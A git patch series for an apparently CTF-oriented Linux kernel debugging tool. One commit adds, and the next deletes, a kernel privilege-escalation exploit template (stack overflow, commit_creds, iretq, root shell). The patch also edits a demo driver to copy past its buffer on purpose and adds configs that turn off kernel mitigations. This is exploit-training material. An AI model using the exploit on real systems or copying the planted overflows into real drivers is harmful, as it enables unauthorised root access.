From 6bee43072ac4964b8bacddec7c70564964353f0f Mon Sep 17 00:00:00 2001 From: 434b Date: Wed, 23 Nov 2022 13:42:55 +0100 Subject: [PATCH 1/2] . --- ctf/misc/exploit.c | 113 ++++++++++++++++++ ctf/misc/extract-vmlinux.sh | 42 ++++--- examples/c_kmod/ioctl_test_drv/Makefile | 1 + examples/c_kmod/ioctl_test_drv/expl.c | 18 +-- examples/c_kmod/ioctl_test_drv/ioctldemo.c | 29 +++-- examples/like_dbg_confs/ioctl_module_x86.ini | 9 ++ examples/like_dbg_confs/pawnyable/LK01.ini | 8 ++ .../pawnyable/LK01_all_miti.ini | 8 ++ kb/README.md | 3 + src/debugger.py | 2 +- 10 files changed, 196 insertions(+), 37 deletions(-) create mode 100644 ctf/misc/exploit.c create mode 100644 examples/like_dbg_confs/pawnyable/LK01.ini create mode 100644 examples/like_dbg_confs/pawnyable/LK01_all_miti.ini diff --git a/ctf/misc/exploit.c b/ctf/misc/exploit.c new file mode 100644 index 0000000..3667b1a --- /dev/null +++ b/ctf/misc/exploit.c @@ -0,0 +1,113 @@ +#include +#include +#include +#include +#include +#include + +char *VULN_DRV = "/dev/foobar"; +uint64_t BUF_SZ = 0x400; +uint64_t user_cs, user_ss, user_rflags, user_sp; +uint64_t prepare_kernel_cred = 0x0; +uint64_t commit_creds = 0x0; + +// =-=-=-=-=-=-=-=-=-=-=-=-= +// EXPLOIT HELPER FUNCTIONS +// =-=-=-=-=-=-=-=-=-=-=-=-= +void err(const char *msg) { + perror(msg); + exit(255); +} + +int64_t open_dev() { + int64_t fd = open(VULN_DRV, O_RDWR); + if (fd == -1) { + err("Failed to open device\n"); + } + return fd; +} + +void spawn_shell() { + puts("[*] Hello from user-land"); + uid_t uid = getuid(); + if (uid == 0) { + printf("[+] UID: %d, got root!\n", uid); + } else { + printf("[!] UID: %d, LPE failed!\n", uid); + exit(EXIT_FAILURE); + } + system("/bin/sh"); +} + +uint64_t user_rip = (uint64_t) spawn_shell; + +// =-=-=-=-=-=-=-=-=-=-=-= +// NO MITIGATIONS PRIVESC +// =-=-=-=-=-=-=-=-=-=-=-= +void save_state() { + __asm__(".intel_syntax noprefix;" + "mov user_cs, cs;" + "mov user_ss, ss;" + "mov user_sp, rsp;" + "pushf;" + "pop user_rflags;" + ".att_syntax"); + puts("[+] Saved state"); +} + +void privesc() { + __asm__(".intel_syntax noprefix;" + "movabs rax, prepare_kernel_cred;" + "xor rdi, rdi;" + "call rax;" + "mov rdi, rax;" + "movabs rax, commit_creds;" + "call rax;" + "swapgs;" + "mov r15, user_ss;" + "push r15;" + "mov r15, user_sp;" + "push r15;" + "mov r15, user_rflags;" + "push r15;" + "mov r15, user_cs;" + "push r15;" + "mov r15, user_rip;" + "push r15;" + "iretq;" + ".att_syntax"); +} + +/* + * With no mitigations in place we can just find out the addresses of prepare_kernel_cred and + * commit_creds. To allow user-land code to be executed after our privilege escalation we + * need to switch contexts (to a userland context). This can be done with iretq, which requires + * the correct registers to be set up properly. To prepare them save_state can be used. + */ +void exploit(uint64_t fd) { + save_state(); + uint64_t offset = BUF_SZ / sizeof(uint64_t); + uint64_t bof_sz = (BUF_SZ + 0x40) / sizeof(uint64_t); + uint64_t payload[bof_sz]; + + payload[offset++] = 0x4242424242424242; + payload[offset++] = (uint64_t) privesc; + + write(fd, payload, bof_sz * sizeof(uint64_t)); +} + +// =-=-=-=-=-=-=-=-=-=-= +// SMEP/SMAP/KASLR/KPTI +// =-=-=-=-=-=-=-=-=-=-= + + + +// =-=-=-=-=-=-=-=-=-=-= +// MAIN +// =-=-=-=-=-=-=-=-=-=-= +int main() { + int64_t fd = open_dev(); + exploit(fd); + close(fd); + return 0; +} diff --git a/ctf/misc/extract-vmlinux.sh b/ctf/misc/extract-vmlinux.sh index efaff2c..d853445 100755 --- a/ctf/misc/extract-vmlinux.sh +++ b/ctf/misc/extract-vmlinux.sh @@ -11,31 +11,36 @@ # ---------------------------------------------------------------------- check_vmlinux() { - # Use readelf to check if it's a valid ELF - readelf -h "$1" > /dev/null 2>&1 || return 1 - - cat "$1" - exit 0 + # Use readelf to check if it's a valid ELF + readelf -h "$1" >/dev/null 2>&1 || return 1 + res=$(readlink -fn "$2") + cat "$1" >"$res" + exit 0 } try_decompress() { - # The obscure use of the "tr" filter is to work around older versions of - # "grep" that report the byte offset of the line instead of the pattern. - - # Try to find the header ($1) and decompress from here - for pos in $(LC_CTYPE=C tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"); do - pos=${pos%%:*} - tail -c+"$pos" "$img" | $3 > "$tmp" 2> /dev/null - check_vmlinux "$tmp" - done + # The obscure use of the "tr" filter is to work around older versions of + # "grep" that report the byte offset of the line instead of the pattern. + + # Try to find the header ($1) and decompress from here + for pos in $(LC_CTYPE=C tr "$1\n$2" "\n$2=" <"$img" | grep -abo "^$2"); do + pos=${pos%%:*} + tail -c+"$pos" "$img" | $3 >"$tmp" 2>/dev/null + check_vmlinux "$tmp" "$res" + done } # Check invocation: me=${0##*/} img=$1 -if [ $# -ne 1 ] || [ ! -s "$img" ]; then - echo "Usage: $me " >&2 - exit 2 +if [ $# -lt 1 ] || [ ! -s "$img" ]; then + echo "Usage: $me " >&2 + exit 2 +fi + +res="vmlinux" +if [ $# -eq 2 ]; then + res="$2" fi # Prepare temp files: @@ -43,6 +48,7 @@ tmp=$(mktemp /tmp/vmlinux-XXX) trap 'rm -f $tmp' 0 # That didn't work, so retry after decompression. +echo "[>] Attempting to write output into \"$res\"" try_decompress '\037\213\010' xy gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh' xy bunzip2 @@ -52,7 +58,7 @@ try_decompress '\002!L\030' xxx 'lz4 -d' try_decompress '(\265/\375' xxx unzstd # Finally check for uncompressed images or objects: -check_vmlinux "$img" +check_vmlinux "$img" "$res" # Bail out: echo "$me: Cannot find vmlinux." >&2 diff --git a/examples/c_kmod/ioctl_test_drv/Makefile b/examples/c_kmod/ioctl_test_drv/Makefile index 55c96f7..5eef45c 100644 --- a/examples/c_kmod/ioctl_test_drv/Makefile +++ b/examples/c_kmod/ioctl_test_drv/Makefile @@ -1,2 +1,3 @@ obj-$(CONFIG_LIKEDBG_IOCTL_DEMO) := ioctldemo.o +CFLAGS_ioctldemo.o := -O0 diff --git a/examples/c_kmod/ioctl_test_drv/expl.c b/examples/c_kmod/ioctl_test_drv/expl.c index 44cab98..e084b18 100755 --- a/examples/c_kmod/ioctl_test_drv/expl.c +++ b/examples/c_kmod/ioctl_test_drv/expl.c @@ -20,8 +20,8 @@ int open_driver(const char *driver_name) { printf("[>] Opening %s from user-land!\n", driver_name); int fd_driver = open(driver_name, O_RDWR); if (fd_driver == -1) { - printf("ERROR: could not open \"%s\".\n", driver_name); - printf(" errno = %s\n", strerror(errno)); + printf("[ERROR]: could not open \"%s\" - %s.\n", driver_name, + (strerror(errno))); exit(EXIT_FAILURE); } @@ -32,8 +32,8 @@ void close_driver(const char *driver_name, int fd_driver) { printf("[>] Closing %s from user-land!\n", driver_name); int result = close(fd_driver); if (result == -1) { - printf("ERROR: could not close \"%s\".\n", driver_name); - printf(" errno = %s\n", strerror(errno)); + printf("[ERROR]: could not close \"%s\" - %s.\n", driver_name, + (strerror(errno))); exit(EXIT_FAILURE); } } @@ -43,7 +43,7 @@ void do_ioctl(unsigned long cmd, int fd) { case (0xdead0): { uint32_t value = 0; if (ioctl(fd, cmd, &value) < 0) { - perror("Error ioctl PL_AXI_DMA_GET_NUM_DEVICES"); + perror("[ERROR] ioctl: 0xdead0\n"); exit(EXIT_FAILURE); } printf("Value is %#08x\n", value); @@ -51,14 +51,14 @@ void do_ioctl(unsigned long cmd, int fd) { } case (0xdead1): { if (ioctl(fd, cmd, NULL) < 0) { - perror("Error ioctl: 0xdead1\n"); + perror("[ERROR] ioctl: 0xdead1\n"); exit(EXIT_FAILURE); } break; } case (0xdead2): { if (ioctl(fd, cmd, NULL) < 0) { - perror("Error ioctl: 0xdead2\n"); + perror("[ERROR] ioctl: 0xdead2\n"); exit(EXIT_FAILURE); } break; @@ -67,7 +67,7 @@ void do_ioctl(unsigned long cmd, int fd) { uint64_t sz = 0x400 / sizeof(uint64_t); uint64_t buf[sz]; if (ioctl(fd, cmd, &buf) < 0) { - perror("Error ioctl: 0xdead3\n"); + perror("[ERROR] ioctl: 0xdead3\n"); exit(EXIT_FAILURE); } for (uint64_t i = 0; i <= sz; i++) { @@ -81,7 +81,7 @@ void do_ioctl(unsigned long cmd, int fd) { case (0xdead4): { char *ptr = "Hello World Yo!\n"; if (ioctl(fd, cmd, ptr) < 0) { - perror("Error ioctl: 0xdead4\n"); + perror("[ERROR] ioctl: 0xdead4\n"); exit(EXIT_FAILURE); } } diff --git a/examples/c_kmod/ioctl_test_drv/ioctldemo.c b/examples/c_kmod/ioctl_test_drv/ioctldemo.c index 0e9e20e..db23856 100644 --- a/examples/c_kmod/ioctl_test_drv/ioctldemo.c +++ b/examples/c_kmod/ioctl_test_drv/ioctldemo.c @@ -1,3 +1,4 @@ +#include "linux/gfp.h" #include #include #include @@ -33,7 +34,7 @@ typedef struct { struct cdev cdev; } likedbg_ioctl_d_iface; -char *gbuf; +char *gbuf = NULL; likedbg_ioctl_d_iface ldbg_ioctl; @@ -163,35 +164,45 @@ long do_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { unsigned int val; pr_warn("<%s> ioctl: %08x\n", DEV_NAME, cmd); switch (cmd) { - case (0xdead0): + case (0xdead0): { val = 0x12345678; if (copy_to_user((uint32_t *)arg, &val, sizeof(val))) { return -EFAULT; } break; - case (0xdead1): + } + case (0xdead1): { gbuf = kmalloc(BUF_SZ, GFP_KERNEL); + if (!gbuf) { + pr_warn("gbuf kmalloc failed"); + return -ENOMEM; + } break; - case (0xdead2): + } + case (0xdead2): { if (gbuf) { kfree(gbuf); } break; - case (0xdead3): - if (_copy_to_user((char __user *)arg, gbuf, BUF_SZ)) { + } + case (0xdead3): { + if (_copy_to_user((char __user *)arg, gbuf, BUF_SZ * 2)) { pr_warn("COPY_TO_USER FAILED\n"); return -EFAULT; } break; - case (0xdead4): - if (_copy_from_user(gbuf, (char __user *)arg, BUF_SZ)) { + } + case (0xdead4): { + if (_copy_from_user(gbuf, (char __user *)arg, BUF_SZ + 0x100)) { pr_warn("COPY_from_USER FAILED\n"); return -EFAULT; } break; - default: + } + default: { break; } + } return EXIT_SUCCESS; } diff --git a/examples/like_dbg_confs/ioctl_module_x86.ini b/examples/like_dbg_confs/ioctl_module_x86.ini index 385250e..12d281e 100644 --- a/examples/like_dbg_confs/ioctl_module_x86.ini +++ b/examples/like_dbg_confs/ioctl_module_x86.ini @@ -4,3 +4,12 @@ custom_modules = examples/c_kmod/ioctl_test_drv/ [kernel_dl] tag = 5.15 + +[debuggee] +memory = 1024 +smp = 1 +kaslr = no +smep = no +smap = no +kpti = no +panic = halt diff --git a/examples/like_dbg_confs/pawnyable/LK01.ini b/examples/like_dbg_confs/pawnyable/LK01.ini new file mode 100644 index 0000000..9e42da1 --- /dev/null +++ b/examples/like_dbg_confs/pawnyable/LK01.ini @@ -0,0 +1,8 @@ +[debuggee] +memory = 1024 +smp = 1 +kaslr = no +smep = no +smap = no +kpti = no +panic = halt diff --git a/examples/like_dbg_confs/pawnyable/LK01_all_miti.ini b/examples/like_dbg_confs/pawnyable/LK01_all_miti.ini new file mode 100644 index 0000000..829ce29 --- /dev/null +++ b/examples/like_dbg_confs/pawnyable/LK01_all_miti.ini @@ -0,0 +1,8 @@ +[debuggee] +memory = 1024 +smp = 1 +kaslr = yes +smep = yes +smap = yes +kpti = yes +panic = halt diff --git a/kb/README.md b/kb/README.md index a5a6c4b..95261b4 100644 --- a/kb/README.md +++ b/kb/README.md @@ -46,6 +46,9 @@ Section to dump good write-ups that either feature an actual exploit, a new tech ### Public exploits +* [[CVE-2022-101(5|6)] How The Tables Have Turned: An analysis of two new Linux vulnerabilities in nf_tables](https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/) +* [[CVE-2022-32250] SETTLERS OF NETLINK: Exploiting a limited UAF in nf_tables](https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/) +* [[CVE-2022-2586] N-day exploit for CVE-2022-2586: Linux kernel nft_object UAF](https://www.openwall.com/lists/oss-security/2022/08/29/5) * [[CVE-2022-1786] A Journey To The Dawn](https://blog.kylebot.net/2022/10/16/CVE-2022-1786/) * [Writing a Linux Kernel Remote in 2022](https://blog.immunityinc.com/p/writing-a-linux-kernel-remote-in-2022/) * [Four Bytes of Power: Exploiting CVE-2021-26708 in the Linux kernel](https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html) diff --git a/src/debugger.py b/src/debugger.py index 64ee76e..6b85345 100644 --- a/src/debugger.py +++ b/src/debugger.py @@ -42,7 +42,7 @@ def _extract_vmlinux(self) -> int: vml_ext = Path(glob("**/extract-vmlinux.sh", recursive=True)[0]).resolve().absolute() pkernel = self.ctf_kernel.resolve().absolute() with new_context(self.ctf_dir): - cmd = f"{vml_ext} {pkernel} > vmlinux" + cmd = f"{vml_ext} {pkernel}" ret = sp.run(f"{cmd}", shell=True, capture_output=True) if ret.returncode == 0: logger.info("Successfully extracted 'vmlinux' from compressed kernel") From 28e324a86e7519cf186c5c9670d4cd973cb1bf5f Mon Sep 17 00:00:00 2001 From: 434b Date: Wed, 23 Nov 2022 17:31:57 +0100 Subject: [PATCH 2/2] removed exploit.c dummy --- ctf/misc/exploit.c | 113 --------------------------------------------- 1 file changed, 113 deletions(-) delete mode 100644 ctf/misc/exploit.c diff --git a/ctf/misc/exploit.c b/ctf/misc/exploit.c deleted file mode 100644 index 3667b1a..0000000 --- a/ctf/misc/exploit.c +++ /dev/null @@ -1,113 +0,0 @@ -#include -#include -#include -#include -#include -#include - -char *VULN_DRV = "/dev/foobar"; -uint64_t BUF_SZ = 0x400; -uint64_t user_cs, user_ss, user_rflags, user_sp; -uint64_t prepare_kernel_cred = 0x0; -uint64_t commit_creds = 0x0; - -// =-=-=-=-=-=-=-=-=-=-=-=-= -// EXPLOIT HELPER FUNCTIONS -// =-=-=-=-=-=-=-=-=-=-=-=-= -void err(const char *msg) { - perror(msg); - exit(255); -} - -int64_t open_dev() { - int64_t fd = open(VULN_DRV, O_RDWR); - if (fd == -1) { - err("Failed to open device\n"); - } - return fd; -} - -void spawn_shell() { - puts("[*] Hello from user-land"); - uid_t uid = getuid(); - if (uid == 0) { - printf("[+] UID: %d, got root!\n", uid); - } else { - printf("[!] UID: %d, LPE failed!\n", uid); - exit(EXIT_FAILURE); - } - system("/bin/sh"); -} - -uint64_t user_rip = (uint64_t) spawn_shell; - -// =-=-=-=-=-=-=-=-=-=-=-= -// NO MITIGATIONS PRIVESC -// =-=-=-=-=-=-=-=-=-=-=-= -void save_state() { - __asm__(".intel_syntax noprefix;" - "mov user_cs, cs;" - "mov user_ss, ss;" - "mov user_sp, rsp;" - "pushf;" - "pop user_rflags;" - ".att_syntax"); - puts("[+] Saved state"); -} - -void privesc() { - __asm__(".intel_syntax noprefix;" - "movabs rax, prepare_kernel_cred;" - "xor rdi, rdi;" - "call rax;" - "mov rdi, rax;" - "movabs rax, commit_creds;" - "call rax;" - "swapgs;" - "mov r15, user_ss;" - "push r15;" - "mov r15, user_sp;" - "push r15;" - "mov r15, user_rflags;" - "push r15;" - "mov r15, user_cs;" - "push r15;" - "mov r15, user_rip;" - "push r15;" - "iretq;" - ".att_syntax"); -} - -/* - * With no mitigations in place we can just find out the addresses of prepare_kernel_cred and - * commit_creds. To allow user-land code to be executed after our privilege escalation we - * need to switch contexts (to a userland context). This can be done with iretq, which requires - * the correct registers to be set up properly. To prepare them save_state can be used. - */ -void exploit(uint64_t fd) { - save_state(); - uint64_t offset = BUF_SZ / sizeof(uint64_t); - uint64_t bof_sz = (BUF_SZ + 0x40) / sizeof(uint64_t); - uint64_t payload[bof_sz]; - - payload[offset++] = 0x4242424242424242; - payload[offset++] = (uint64_t) privesc; - - write(fd, payload, bof_sz * sizeof(uint64_t)); -} - -// =-=-=-=-=-=-=-=-=-=-= -// SMEP/SMAP/KASLR/KPTI -// =-=-=-=-=-=-=-=-=-=-= - - - -// =-=-=-=-=-=-=-=-=-=-= -// MAIN -// =-=-=-=-=-=-=-=-=-=-= -int main() { - int64_t fd = open_dev(); - exploit(fd); - close(fd); - return 0; -}